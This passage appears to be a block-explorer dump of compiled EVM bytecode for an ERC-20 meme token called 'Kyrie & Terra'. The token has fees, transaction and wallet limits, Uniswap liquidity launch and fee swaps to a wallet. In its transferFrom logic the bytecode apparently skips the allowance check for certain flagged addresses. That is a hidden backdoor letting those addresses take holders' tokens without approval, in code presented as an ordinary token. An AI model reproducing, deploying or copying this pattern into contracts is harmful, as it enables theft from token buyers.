ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cf2573d5f803e3d5ffd5b5050565b5f808284611d049190612947565b905083811015611d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4090612d88565b60405180910390fd5b8091505092915050565b5f611d9483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ec6565b905092915050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e1f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5e5750611e2e610742565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b5f8083118290611eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea29190611f98565b60405180910390fd5b505f8385611eb99190612b17565b9050809150509392505050565b5f838311158290611f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f049190611f98565b60405180910390fd5b505f8385611f1b9190612ab7565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f6a82611f28565b611f748185611f32565b9350611f84818560208601611f42565b611f8d81611f50565b840191505092915050565b5f6020820190508181035f830152611fb08184611f60565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fe582611fbc565b9050919050565b611ff581611fdb565b8114611fff575f80fd5b50565b5f8135905061201081611fec565b92915050565b5f819050919050565b61202881612016565b8114612032575f80fd5b50565b5f813590506120438161201f565b92915050565b5f806040838503121561205f5761205e611fb8565b5b5f61206c85828601612002565b925050602061207d85828601612035565b9150509250929050565b5f8115159050919050565b61209b81612087565b82525050565b5f6020820190506120b45f830184612092565b92915050565b6120c381612016565b82525050565b5f6020820190506120dc5f8301846120ba565b92915050565b5f805f606084860312156120f9576120f8611fb8565b5b5f61210686828701612002565b935050602061211786828701612002565b925050604061212886828701612035565b9150509250925092565b5f60ff82169050919050565b61214781612132565b82525050565b5f6020820190506121605f83018461213e565b92915050565b5f6020828403121561217b5761217a611fb8565b5b5f61218884828501612002565b91505092915050565b61219a81611fdb565b82525050565b5f6020820190506121b35f830184612191565b92915050565b5f80604083850312156121cf576121ce611fb8565b5b5f6121dc85828601612002565b92505060206121ed85828601612002565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561227957808604811115612255576122546121f7565b5b60018516156122645780820291505b808102905061227285612224565b9450612239565b94509492505050565b5f82612291576001905061234c565b8161229e575f905061234c565b81600181146122b457600281146122be576122ed565b600191505061234c565b60ff8411156122d0576122cf6121f7565b5b8360020a9150848211156122e7576122e66121f7565b5b5061234c565b5060208310610133831016604e8410600b84101617156123225782820a90508381111561231d5761231c6121f7565b5b61234c565b61232f8484846001612230565b92509050818404811115612346576123456121f7565b5b81810290505b9392505050565b5f61235d82612016565b915061236883612132565b92506123957fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612282565b905092915050565b5f6123a782612016565b91506123b283612016565b92508282026123c081612016565b915082820484148315176123d7576123d66121f7565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612412602083611f32565b915061241d826123de565b602082019050919050565b5f6020820190508181035f83015261243f81612406565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61247a601783611f32565b915061248582612446565b602082019050919050565b5f6020820190508181035f8301526124a78161246e565b9050919050565b5f815190506124bc81611fec565b92915050565b5f602082840312156124d7576124d6611fb8565b5b5f6124e4848285016124ae565b91505092915050565b5f6040820190506125005f830185612191565b61250d6020830184612191565b9392505050565b5f819050919050565b5f819050919050565b5f61254061253b61253684612514565b61251d565b612016565b9050919050565b61255081612526565b82525050565b5f60c0820190506125695f830189612191565b61257660208301886120ba565b6125836040830187612547565b6125906060830186612547565b61259d6080830185612191565b6125aa60a08301846120ba565b979650505050505050565b5f815190506125c38161201f565b92915050565b5f805f606084860312156125e0576125df611fb8565b5b5f6125ed868287016125b5565b93505060206125fe868287016125b5565b925050604061260f868287016125b5565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612673602483611f32565b915061267e82612619565b604082019050919050565b5f6020820190508181035f8301526126a081612667565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612701602283611f32565b915061270c826126a7565b604082019050919050565b5f6020820190508181035f83015261272e816126f5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61278f602583611f32565b915061279a82612735565b604082019050919050565b5f6020820190508181035f8301526127bc81612783565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61281d602383611f32565b9150612828826127c3565b604082019050919050565b5f6020820190508181035f83015261284a81612811565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6128ab602983611f32565b91506128b682612851565b604082019050919050565b5f6020820190508181035f8301526128d88161289f565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612913601983611f32565b915061291e826128df565b602082019050919050565b5f6020820190508181035f83015261294081612907565b9050919050565b5f61295182612016565b915061295c83612016565b9250828201905080821115612974576129736121f7565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6129ae601a83611f32565b91506129b98261297a565b602082019050919050565b5f6020820190508181035f8301526129db816129a2565b9050919050565b5f6129ec82612016565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a1e57612a1d6121f7565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612a83602883611f32565b9150612a8e82612a29565b604082019050919050565b5f6020820190508181035f830152612ab081612a77565b9050919050565b5f612ac182612016565b9150612acc83612016565b9250828203905081811115612ae457612ae36121f7565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b2182612016565b9150612b2c83612016565b925082612b3c57612b3b612aea565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ba1602183611f32565b9150612bac82612b47565b604082019050919050565b5f6020820190508181035f830152612bce81612b95565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c6181611fdb565b82525050565b5f612c728383612c58565b60208301905092915050565b5f602082019050919050565b5f612c9482612c2f565b612c9e8185612c39565b9350612ca983612c49565b805f5b83811015612cd9578151612cc08882612c67565b9750612ccb83612c7e565b925050600181019050612cac565b5085935050505092915050565b5f60a082019050612cf95f8301886120ba565b612d066020830187612547565b8181036040830152612d188186612c8a565b9050612d276060830185612191565b612d3460808301846120ba565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d72601b83611f32565b9150612d7d82612d3e565b602082019050919050565b5f6020820190508181035f830152612d9f81612d66565b905091905056fea26469706673582212208036ebcdc46b1e35812bfe04af503819da35a73c7d2fb64ef3f00d2309262b9864736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c806370a0823111610094578063a9059cbb11610063578063a9059cbb14610347578063bf474bed14610383578063c162aab4146103ad578063dd62ed3e146103c3578063e5390218146103ff57610113565b806370a08231146102a1578063715018a6146102dd5780638da5cb5b146102f357806395d89b411461031d57610113565b80631ce1b33a116100db5780631ce1b33a146101d157806320800a00146101fb57806323b872dd14610211578063313ce5671461024d5780636c0a24eb1461027757610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610415565b6040516101389190611f98565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612049565b610452565b60405161017491906120a1565b60405180910390f35b348015610188575f80fd5b5061019161046f565b60405161019e91906120c9565b60405180910390f35b3480156101b2575f80fd5b506101bb610475565b6040516101c891906120c9565b60405180910390f35b3480156101dc575f80fd5b506101e5610498565b6040516101f291906120c9565b60405180910390f35b348015610206575f80fd5b5061020f61049e565b005b34801561021c575f80fd5b50610237600480360381019061023291906120e2565b61057f565b60405161024491906120a1565b60405180910390f35b348015610258575f80fd5b506102616105a0565b60405161026e919061214d565b60405180910390f35b348015610282575f80fd5b5061028b6105a8565b60405161029891906120c9565b60405180910390f35b3480156102ac575f80fd5b506102c760048036038101906102c29190612166565b6105ae565b6040516102d491906120c9565b60405180910390f35b3480156102e8575f80fd5b506102f16105f4565b005b3480156102fe575f80fd5b50610307610742565b60405161031491906121a0565b60405180910390f35b348015610328575f80fd5b50610331610769565b60405161033e9190611f98565b60405180910390f35b348015610352575f80fd5b5061036d60048036038101906103689190612049565b6107a6565b60405161037a91906120a1565b60405180910390f35b34801561038e575f80fd5b506103976107c3565b6040516103a491906120c9565b60405180910390f35b3480156103b8575f80fd5b506103c16107c9565b005b3480156103ce575f80fd5b506103e960048036038101906103e491906121b9565b610c0d565b6040516103f691906120c9565b60405180910390f35b34801561040a575f80fd5b50610413610c8f565b005b60606040518060400160405280600d81526020017f4b79726965202620546572726100000000000000000000000000000000000000815250905090565b5f61046561045e610dbe565b8484610dc5565b6001905092915050565b600d5481565b5f6009600a6104849190612353565b633b9aca00610493919061239d565b905090565b600a5481565b6104a6610dbe565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052990612428565b60405180910390fd5b61053a610742565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561057c573d5f803e3d5ffd5b50565b5f61058b848484610f88565b6105958483611837565b600190509392505050565b5f6009905090565b600b5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105fc610dbe565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067f90612428565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4b59524945544552524100000000000000000000000000000000000000000000815250905090565b5f6107b96107b2610dbe565b8484610f88565b6001905092915050565b600c5481565b6107d1610dbe565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085490612428565b60405180910390fd5b600f60149054906101000a900460ff16156108ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a490612490565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098f91906124c2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a15573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a3991906124c2565b6040518363ffffffff1660e01b8152600401610a569291906124ed565b6020604051808303815f875af1158015610a72573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9691906124c2565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1d30600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b099190612353565b633b9aca00610b18919061239d565b610dc5565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b65306105ae565b5f80610b6f610742565b426040518863ffffffff1660e01b8152600401610b9196959493929190612556565b60606040518083038185885af1158015610bad573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bd291906125c9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c97610dbe565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90612428565b60405180910390fd5b6009600a610d319190612353565b633b9aca00610d40919061239d565b600a819055506009600a610d549190612353565b633b9aca00610d63919061239d565b600b819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610d989190612353565b633b9aca00610da7919061239d565b604051610db491906120c9565b60405180910390a1565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2a90612689565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9890612717565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7b91906120c9565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed906127a5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b90612833565b60405180910390fd5b5f81116110a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109d906128c1565b60405180910390fd5b5f6110af610742565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561111d57506110ed610742565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561115557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561118d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611587576111ce60646111c0600754600954116111ad576005546111b1565b6006545b8561194b90919063ffffffff16565b6119c290919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112795750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112cc575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561138657600a54821115611316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130d90612929565b60405180910390fd5b600b5482611323856105ae565b61132d9190612947565b111561136e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611365906129c4565b60405180910390fd5b60095f815480929190611380906129e2565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561140e57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114525761144f60646114416007546009541161142e57600554611432565b6006545b8561194b90919063ffffffff16565b6119c290919063ffffffff16565b90505b5f61145c306105ae565b9050600f60159054906101000a900460ff161580156114c75750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114df5750600f60169054906101000a900460ff165b80156114ee5750600854600954115b8015611541575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561158557600c5481111561156e5761156d6115688461156384600d54611a0b565b611a0b565b611a23565b5b5f4790505f81106115835761158247611c8e565b5b505b505b5f811115611686576115df8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cf690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161167d91906120c9565b60405180910390a35b6116d68260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d5390919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061177961172d8284611d5390919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cf690919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61181c8486611d5390919063ffffffff16565b60405161182991906120c9565b60405180910390a350505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61187e610dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506118ca6118c5610dbe565b611d9c565b611946576118de6118d9610dbe565b611d9c565b806118e95750818110155b611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f90612a99565b60405180910390fd5b61194583611934610dbe565b84846119409190612ab7565b610dc5565b5b505050565b5f80830361195b575f90506119bc565b5f8284611968919061239d565b90508284826119779190612b17565b146119b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ae90612bb7565b60405180910390fd5b809150505b92915050565b5f611a0383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e65565b905092915050565b5f818311611a195782611a1b565b815b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a5a57611a59612bd5565b5b604051908082528060200260200182016040528015611a885781602001602082028036833780820191505090505b50905030815f81518110611a9f57611a9e612c02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b43573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b6791906124c2565b81600181518110611b7b57611b7a612c02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611be130600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dc5565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c43959493929190612ce6565b5f604051808303815f87803b158015611c5a575f80fd5b505af1158015611c6c573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cf2573d5f803e3d5ffd5b5050565b5f808284611d049190612947565b905083811015611d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4090612d88565b60405180910390fd5b8091505092915050565b5f611d9483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ec6565b905092915050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e1f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5e5750611e2e610742565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b5f8083118290611eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea29190611f98565b60405180910390fd5b505f8385611eb99190612b17565b9050809150509392505050565b5f838311158290611f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f049190611f98565b60405180910390fd5b505f8385611f1b9190612ab7565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f6a82611f28565b611f748185611f32565b9350611f84818560208601611f42565b611f8d81611f50565b840191505092915050565b5f6020820190508181035f830152611fb08184611f60565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fe582611fbc565b9050919050565b611ff581611fdb565b8114611fff575f80fd5b50565b5f8135905061201081611fec565b92915050565b5f819050919050565b61202881612016565b8114612032575f80fd5b50565b5f813590506120438161201f565b92915050565b5f806040838503121561205f5761205e611fb8565b5b5f61206c85828601612002565b925050602061207d85828601612035565b9150509250929050565b5f8115159050919050565b61209b81612087565b82525050565b5f6020820190506120b45f830184612092565b92915050565b6120c381612016565b82525050565b5f6020820190506120dc5f8301846120ba565b92915050565b5f805f606084860312156120f9576120f8611fb8565b5b5f61210686828701612002565b935050602061211786828701612002565b925050604061212886828701612035565b9150509250925092565b5f60ff82169050919050565b61214781612132565b82525050565b5f6020820190506121605f83018461213e565b92915050565b5f6020828403121561217b5761217a611fb8565b5b5f61218884828501612002565b91505092915050565b61219a81611fdb565b82525050565b5f6020820190506121b35f830184612191565b92915050565b5f80604083850312156121cf576121ce611fb8565b5b5f6121dc85828601612002565b92505060206121ed85828601612002565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561227957808604811115612255576122546121f7565b5b60018516156122645780820291505b808102905061227285612224565b9450612239565b94509492505050565b5f82612291576001905061234c565b8161229e575f905061234c565b81600181146122b457600281146122be576122ed565b600191505061234c565b60ff8411156122d0576122cf6121f7565b5b8360020a9150848211156122e7576122e66121f7565b5b5061234c565b5060208310610133831016604e8410600b84101617156123225782820a90508381111561231d5761231c6121f7565b5b61234c565b61232f8484846001612230565b92509050818404811115612346576123456121f7565b5b81810290505b9392505050565b5f61235d82612016565b915061236883612132565b92506123957fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612282565b905092915050565b5f6123a782612016565b91506123b283612016565b92508282026123c081612016565b915082820484148315176123d7576123d66121f7565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612412602083611f32565b915061241d826123de565b602082019050919050565b5f6020820190508181035f83015261243f81612406565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61247a601783611f32565b915061248582612446565b602082019050919050565b5f6020820190508181035f8301526124a78161246e565b9050919050565b5f815190506124bc81611fec565b92915050565b5f602082840312156124d7576124d6611fb8565b5b5f6124e4848285016124ae565b91505092915050565b5f6040820190506125005f830185612191565b61250d6020830184612191565b9392505050565b5f819050919050565b5f819050919050565b5f61254061253b61253684612514565b61251d565b612016565b9050919050565b61255081612526565b82525050565b5f60c0820190506125695f830189612191565b61257660208301886120ba565b6125836040830187612547565b6125906060830186612547565b61259d6080830185612191565b6125aa60a08301846120ba565b979650505050505050565b5f815190506125c38161201f565b92915050565b5f805f606084860312156125e0576125df611fb8565b5b5f6125ed868287016125b5565b93505060206125fe868287016125b5565b925050604061260f868287016125b5565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612673602483611f32565b915061267e82612619565b604082019050919050565b5f6020820190508181035f8301526126a081612667565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612701602283611f32565b915061270c826126a7565b604082019050919050565b5f6020820190508181035f83015261272e816126f5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61278f602583611f32565b915061279a82612735565b604082019050919050565b5f6020820190508181035f8301526127bc81612783565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61281d602383611f32565b9150612828826127c3565b604082019050919050565b5f6020820190508181035f83015261284a81612811565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6128ab602983611f32565b91506128b682612851565b604082019050919050565b5f6020820190508181035f8301526128d88161289f565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612913601983611f32565b915061291e826128df565b602082019050919050565b5f6020820190508181035f83015261294081612907565b9050919050565b5f61295182612016565b915061295c83612016565b9250828201905080821115612974576129736121f7565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6129ae601a83611f32565b91506129b98261297a565b602082019050919050565b5f6020820190508181035f8301526129db816129a2565b9050919050565b5f6129ec82612016565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a1e57612a1d6121f7565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612a83602883611f32565b9150612a8e82612a29565b604082019050919050565b5f6020820190508181035f830152612ab081612a77565b9050919050565b5f612ac182612016565b9150612acc83612016565b9250828203905081811115612ae457612ae36121f7565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b2182612016565b9150612b2c83612016565b925082612b3c57612b3b612aea565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ba1602183611f32565b9150612bac82612b47565b604082019050919050565b5f6020820190508181035f830152612bce81612b95565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c6181611fdb565b82525050565b5f612c728383612c58565b60208301905092915050565b5f602082019050919050565b5f612c9482612c2f565b612c9e8185612c39565b9350612ca983612c49565b805f5b83811015612cd9578151612cc08882612c67565b9750612ccb83612c7e565b925050600181019050612cac565b5085935050505092915050565b5f60a082019050612cf95f8301886120ba565b612d066020830187612547565b8181036040830152612d188186612c8a565b9050612d276060830185612191565b612d3460808301846120ba565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d72601b83611f32565b9150612d7d82612d3e565b602082019050919050565b5f6020820190508181035f830152612d9f81612d66565b905091905056fea26469706673582212208036ebcdc46b1e35812bfe04af503819da35a73c7d2fb64ef3f00d2309262b9864736f6c634300081a0033

Deployed Bytecode Sourcemap

